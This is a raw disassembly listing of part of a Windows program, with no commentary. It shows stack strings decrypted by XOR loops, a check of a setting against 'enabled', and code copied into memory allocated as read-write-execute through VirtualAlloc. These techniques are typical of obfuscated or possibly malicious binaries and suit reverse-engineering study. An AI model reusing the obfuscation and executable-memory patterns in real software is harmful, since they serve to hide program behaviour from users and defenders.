jb 0x14023bdc7
lea r9, [rsp + 0xec8]
cmp qword [rsp + 0xee0], 0xf
cmova r9, qword [rsp + 0xec8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x9f0]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xee8]
cmp qword [rsp + 0xf00], 0xf
cmova rdx, qword [rsp + 0xee8]
mov r8, qword [rsp + 0xef8]
lea rcx, [rsp + 0x9f0]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf68], xmm0
mov qword [rsp + 0xf78], rsi
mov qword [rsp + 0xf80], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf78], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x9f0]
call fcn.140248aa0
movzx eax, word [0x14027d198]
mov word [rsp + 0x80], ax
cmp byte [0x14027d199], 0
je 0x14023677b
mov byte [rsp + 0x80], 0x2e
xor byte [rsp + 0x81], 0x42
lea rax, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140236790
mov rax, rbx
mov rdx, qword [rsp + 0xeb8]
sub rax, rdx
cmp rax, rcx
jb 0x14023bdcd
lea r9, [rsp + 0xea8]
cmp qword [rsp + 0xec0], 0xf
cmova r9, qword [rsp + 0xea8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xb70]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xf08]
cmp qword [rsp + 0xf20], 0xf
cmova rdx, qword [rsp + 0xf08]
mov r8, qword [rsp + 0xf18]
lea rcx, [rsp + 0xb70]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf48], xmm0
mov qword [rsp + 0xf58], rsi
mov qword [rsp + 0xf60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xb70]
call fcn.140248aa0
mov eax, dword [0x14027d920]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x14027d924]
mov word [rsp + 0xc4], ax
mov byte [rsp + 0xc0], 0x43
xor byte [rsp + 0xc1], 0x42
xor byte [rsp + 0xc2], 0x44
xor byte [rsp + 0xc3], 0x46
xor al, 0x48
mov byte [rsp + 0xc4], al
xor byte [rsp + 0xc5], 0x4a
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1402368d0
lea rcx, [rsp + 0xe18]
cmp qword [rsp + 0xe30], 0xf
cmova rcx, qword [rsp + 0xe18]
mov r8, qword [rsp + 0xe28]
cmp r8, rax
jne 0x140236915
lea rdx, [rsp + 0xc0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140236c53
mov eax, dword [0x14027df18]
mov dword [rsp + 0x160], eax
movzx eax, byte [0x14027df1c]
mov byte [rsp + 0x160], 0x4e
xor byte [rsp + 0x161], 0x42
xor byte [rsp + 0x162], 0x44
xor byte [rsp + 0x163], 0x46
xor al, 0x48
mov byte [rsp + 0x164], al
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140236c53
mov eax, dword [0x14027ce28]
mov dword [rsp + 0x194], eax
cmp byte [0x14027ce2b], 0
je 0x140236a95
mov r9d, esi
cmp r12d, 2
jl 0x140236a45
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x194], xmm2
jmp 0x140236a95
lea r10, [rsp + 0x194]
nop dword [rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140236a50
lea rdx, [rsp + 0x194]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140236c53
mov eax, dword [0x14027e13c]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x14027e140]
mov byte [rsp + 0x168], 0x42
xor byte [rsp + 0x169], 0x42
xor byte [rsp + 0x16a], 0x44
xor byte [rsp + 0x16b], 0x46
xor al, 0x48
mov byte [rsp + 0x16c], al
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140236c45
mov eax, dword [0x14027d5c4]
mov dword [rsp + 0x1f0], eax
cmp byte [0x14027d5c7], 0
je 0x140236c45
mov r9d, esi
cmp r12d, 2
jl 0x140236bee
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x1f0], xmm2
movdqa xmm15, xmmword [0x1402805d0]
jmp 0x1402376d6
lea r10, [rsp + 0x1f0]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140236c00
movdqa xmm15, xmmword [0x1402805d0]
jmp 0x1402376d6
movsd xmm0, qword [str._oi___lzeR]
movsd qword [rsp + 0xd0], xmm0
movzx eax, word [0x14027f6e0]
mov word [rsp + 0xd8], ax
mov eax, dword [0x14027ee6c]
mov dword [rsp + 0xa8], eax
movzx eax, byte [0x14027ee70]
cmp byte [0x14027f6e1], 0
je 0x140236ce0
mov byte [rsp + 0xd0], 0x20
xor byte [rsp + 0xd1], 0x42
xor byte [rsp + 0xd2], 0x44
xor byte [rsp + 0xd3], 0x46
xor byte [rsp + 0xd4], 0x48
xor byte [rsp + 0xd5], 0x4a
xor byte [rsp + 0xd6], 0x4c
xor byte [rsp + 0xd7], 0x4e
xor byte [rsp + 0xd8], 0x50
xor byte [rsp + 0xd9], 0x52
mov byte [rsp + 0xa8], 0x20
xor byte [rsp + 0xa9], 0x42
xor byte [rsp + 0xaa], 0x44
xor byte [rsp + 0xab], 0x46
xor al, 0x48
mov byte [rsp + 0xac], al
movups xmm4, xmmword [str._of_____9_9_dOMd]
movups xmmword [rsp + 0x270], xmm4
movzx eax, word [0x14027f7b0]
mov word [rsp + 0x280], ax
movzx eax, byte [0x14027f7b2]
mov byte [rsp + 0x282], al
mov r9d, esi
cmp r12d, 2
jl 0x14023702b
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x270], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x274]
xorps xmm2, xmm1
movd dword [rsp + 0x274], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x278]
xorps xmm2, xmm1
movd dword [rsp + 0x278], xmm2
movdqa xmm15, xmmword [0x1402805d0]
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x27c]
xorps xmm2, xmm1
movd dword [rsp + 0x27c], xmm2
mov r9d, 0x10
jmp 0x140237034
movdqa xmm15, xmmword [0x1402805d0]
mov eax, r9d
lea r10, [rsp + 0x270]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x13
jl 0x140237050
movsd xmm0, qword [str.md____ry_xZ]
movsd qword [rsp + 0x218], xmm0
mov ecx, dword [0x14027dd48]
mov dword [rsp + 0x220], ecx
movzx eax, word [0x14027dd4c]
mov word [rsp + 0x224], ax
cmp byte [0x14027dd4d], 0
je 0x14023736c
mov r9d, esi
cmp r12d, 2
jl 0x140237309
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [rsp + 0xd70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.md____ry_xZ]
xorps xmm2, xmm0
movd dword [rsp + 0x218], xmm2
movdqa xmm3, xmm11
punpckldq xmm3, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm8
pmuldq xmm1, xmm8
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x21c]
xorps xmm2, xmm1
movd dword [rsp + 0x21c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x220], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x218]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140237320
lea rax, [rsp + 0x218]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140237380
mov rax, rbx
mov rdx, qword [rsp + 0xda0]
sub rax, rdx
cmp rax, rcx
jb 0x14023bdd3
lea rax, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rax, qword [rsp + 0xd90]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x218]
lea rcx, [rsp + 0xb50]
call fcn.14024dd60
nop
lea rax, [rsp + 0x270]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402373f0
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xb50]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x708], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x6f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x708], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xf68]
cmp qword [rsp + 0xf80], 0xf
cmova rdx, qword [rsp + 0xf68]
mov r8, qword [rsp + 0xf78]
lea rcx, [rsp + 0x6f8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x6d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x6e8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xa8]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402374d0
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x6d8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6c8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x6b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x6c8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xf48]
cmp qword [rsp + 0xf60], 0xf
cmova rdx, qword [rsp + 0xf48]
mov r8, qword [rsp + 0xf58]
lea rcx, [rsp + 0x6b8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x698], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6a8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x698], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x6a8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xd0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402375b0
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x698]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x488], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x478], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x488], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xe88]
cmp rdx, 0xf
jbe 0x140237652
inc rdx
mov rcx, qword [rsp + 0xe70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14023764d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14023764d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14026da10
movups xmm0, xmmword [rsp + 0x478]
movups xmmword [rsp + 0xe70], xmm0
movups xmm1, xmmword [rsp + 0x488]
movups xmmword [rsp + 0xe80], xmm1
movdqu xmmword [rsp + 0x488], xmm6
mov byte [rsp + 0x478], 0
lea rcx, [rsp + 0x478]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x698]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x6b8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x6d8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x6f8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xb50]
call fcn.140248aa0
lea rcx, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0xf
cmova rcx, qword [rsp + 0xdf8]
mov r8, qword [rsp + 0xe08]
cmp r8, 7
jne 0x140238309
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140238309
lea r15, [0x14024a750]
nop dword [rax]
movsd xmm0, qword [0x14027ccb0]
movsd qword [rsp + 0x1d0], xmm0
mov ecx, dword [0x14027ccb8]
mov dword [rsp + 0x1d8], ecx
cmp byte [0x14027ccbb], 0
je 0x1402379d5
mov r9d, esi
cmp r12d, 2
jl 0x140237980
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm6, xmmword [rsp + 0xd70]
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccb0]
xorps xmm2, xmm0
movd dword [rsp + 0x1d0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1d4]
xorps xmm2, xmm1
movd dword [rsp + 0x1d4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1d8], xmm2
jmp 0x1402379de
lea r10, [rsp + 0x1d0]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140237990
movdqa xmm6, xmmword [rsp + 0xd70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x718], xmm0
mov qword [rsp + 0x728], rsi
mov qword [rsp + 0x730], rsi
lea rax, [rsp + 0x1d0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140237a10
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x718]
call fcn.14020c680
nop
lea rcx, [rsp + 0x718]
call fcn.1401fc2b0
mov qword [rsp + 0x540], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xd50], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x140237ab9
mov rdx, rsi
nop word [rax + rax]
cmp rax, r15
je 0x140237aa8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x140237a90
jmp 0x140237ab9
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x140237b9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140237ae2
mov r8, rsi
jmp 0x140237b7e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140237af0
movups xmm0, xmmword [rax]
